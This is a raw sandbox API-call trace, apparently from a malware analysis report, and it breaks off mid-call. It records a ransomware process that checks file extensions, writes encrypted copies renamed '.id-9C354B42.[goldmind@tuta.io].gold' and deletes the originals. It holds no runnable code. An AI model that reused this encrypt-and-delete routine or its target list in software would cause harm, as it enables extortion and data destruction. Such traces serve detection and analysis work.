lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".1cd") returned 4 [0098.277] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".jpg") returned 4 [0098.277] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.277] lstrcmpiW (lpString1=".MMW", lpString2=".gold") returned 1 [0098.277] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0098.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.278] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=394200) returned 1 [0098.278] CloseHandle (hObject=0x3c0) returned 1 [0098.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0098.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.278] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.278] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.279] GetLastError () returned 0x0 [0098.279] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x603d8, lpOverlapped=0x0) returned 1 [0098.325] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0098.331] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.331] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.331] SetEndOfFile (hFile=0x3c4) returned 1 [0098.331] CloseHandle (hObject=0x3c4) returned 1 [0098.331] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.331] SetEndOfFile (hFile=0x3c0) returned 1 [0098.348] CloseHandle (hObject=0x3c0) returned 1 [0098.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0098.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.349] lstrlenW (lpString=".doc") returned 4 [0098.349] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0098.349] lstrlenW (lpString=".docx") returned 5 [0098.349] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0098.349] lstrlenW (lpString=".pdf") returned 4 [0098.349] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0098.349] lstrlenW (lpString=".xls") returned 4 [0098.349] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0098.349] lstrlenW (lpString=".xlsx") returned 5 [0098.349] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0098.349] lstrlenW (lpString=".ppt") returned 4 [0098.349] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0098.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.349] lstrlenW (lpString=".zip") returned 4 [0098.349] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0098.349] lstrlenW (lpString=".rar") returned 4 [0098.349] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0098.349] lstrlenW (lpString=".bz2") returned 4 [0098.349] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0098.349] lstrlenW (lpString=".7z") returned 3 [0098.349] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0098.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".dbf") returned 4 [0098.350] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".1cd") returned 4 [0098.350] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".jpg") returned 4 [0098.350] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".doc") returned 4 [0098.350] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString=".docx") returned 5 [0098.350] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0098.350] lstrlenW (lpString=".pdf") returned 4 [0098.350] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0098.350] lstrlenW (lpString=".xls") returned 4 [0098.350] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0098.350] lstrlenW (lpString=".xlsx") returned 5 [0098.350] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0098.350] lstrlenW (lpString=".ppt") returned 4 [0098.350] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".zip") returned 4 [0098.350] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0098.350] lstrlenW (lpString=".rar") returned 4 [0098.350] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0098.350] lstrlenW (lpString=".bz2") returned 4 [0098.350] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString=".7z") returned 3 [0098.350] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".dbf") returned 4 [0098.350] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".1cd") returned 4 [0098.350] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0098.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0098.350] lstrlenW (lpString=".jpg") returned 4 [0098.350] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0098.350] lstrcmpiW (lpString1=".MML", lpString2=".gold") returned 1 [0098.350] lstrlenW (lpString="OFFICE10.MML") returned 12 [0098.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.351] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=312376) returned 1 [0098.351] CloseHandle (hObject=0x3c0) returned 1 [0098.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0098.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.352] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.352] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.356] GetLastError () returned 0x0 [0098.356] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x4c438, lpOverlapped=0x0) returned 1 [0098.364] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0098.790] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.790] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.790] SetEndOfFile (hFile=0x3c4) returned 1 [0098.790] CloseHandle (hObject=0x3c4) returned 1 [0098.790] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.790] SetEndOfFile (hFile=0x3c0) returned 1 [0098.930] CloseHandle (hObject=0x3c0) returned 1 [0098.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".doc") returned 4 [0098.931] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString=".docx") returned 5 [0098.931] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0098.931] lstrlenW (lpString=".pdf") returned 4 [0098.931] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".xls") returned 4 [0098.931] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".xlsx") returned 5 [0098.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0098.931] lstrlenW (lpString=".ppt") returned 4 [0098.931] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".zip") returned 4 [0098.931] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".rar") returned 4 [0098.931] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".bz2") returned 4 [0098.931] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString=".7z") returned 3 [0098.931] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".dbf") returned 4 [0098.931] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".1cd") returned 4 [0098.931] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".jpg") returned 4 [0098.931] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.931] lstrlenW (lpString=".doc") returned 4 [0098.931] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0098.931] lstrlenW (lpString=".docx") returned 5 [0098.931] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0098.931] lstrlenW (lpString=".pdf") returned 4 [0098.931] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".xls") returned 4 [0098.931] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString=".xlsx") returned 5 [0098.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0098.931] lstrlenW (lpString=".ppt") returned 4 [0098.931] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0098.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.932] lstrlenW (lpString=".zip") returned 4 [0098.932] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0098.932] lstrlenW (lpString=".rar") returned 4 [0098.932] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0098.932] lstrlenW (lpString=".bz2") returned 4 [0098.932] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0098.932] lstrlenW (lpString=".7z") returned 3 [0098.932] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0098.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.932] lstrlenW (lpString=".dbf") returned 4 [0098.932] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0098.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.932] lstrlenW (lpString=".1cd") returned 4 [0098.932] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0098.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0098.932] lstrlenW (lpString=".jpg") returned 4 [0098.932] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0098.932] lstrcmpiW (lpString1=".MMW", lpString2=".gold") returned 1 [0098.932] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0098.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.008] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=492624) returned 1 [0099.008] CloseHandle (hObject=0x380) returned 1 [0099.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0099.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.009] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.009] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0099.010] GetLastError () returned 0x0 [0099.010] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x78450, lpOverlapped=0x0) returned 1 [0099.023] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x78460, lpOverlapped=0x0) returned 1 [0099.029] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.029] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.029] SetEndOfFile (hFile=0x3c0) returned 1 [0099.029] CloseHandle (hObject=0x3c0) returned 1 [0099.030] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.030] SetEndOfFile (hFile=0x380) returned 1 [0099.038] CloseHandle (hObject=0x380) returned 1 [0099.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0099.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.248] lstrlenW (lpString=".doc") returned 4 [0099.248] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0099.248] lstrlenW (lpString=".docx") returned 5 [0099.248] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0099.248] lstrlenW (lpString=".pdf") returned 4 [0099.248] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0099.248] lstrlenW (lpString=".xls") returned 4 [0099.248] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0099.248] lstrlenW (lpString=".xlsx") returned 5 [0099.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0099.248] lstrlenW (lpString=".ppt") returned 4 [0099.248] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0099.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.248] lstrlenW (lpString=".zip") returned 4 [0099.248] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0099.248] lstrlenW (lpString=".rar") returned 4 [0099.248] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0099.248] lstrlenW (lpString=".bz2") returned 4 [0099.249] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString=".7z") returned 3 [0099.249] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".dbf") returned 4 [0099.249] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".1cd") returned 4 [0099.249] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".jpg") returned 4 [0099.249] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".doc") returned 4 [0099.249] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString=".docx") returned 5 [0099.249] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0099.249] lstrlenW (lpString=".pdf") returned 4 [0099.249] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0099.249] lstrlenW (lpString=".xls") returned 4 [0099.249] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0099.249] lstrlenW (lpString=".xlsx") returned 5 [0099.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0099.249] lstrlenW (lpString=".ppt") returned 4 [0099.249] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".zip") returned 4 [0099.249] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0099.249] lstrlenW (lpString=".rar") returned 4 [0099.249] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0099.249] lstrlenW (lpString=".bz2") returned 4 [0099.249] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString=".7z") returned 3 [0099.249] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".dbf") returned 4 [0099.249] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".1cd") returned 4 [0099.249] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0099.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0099.249] lstrlenW (lpString=".jpg") returned 4 [0099.249] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0099.250] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0099.250] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0099.250] CreateFileW (lpFileName="C:\\Program 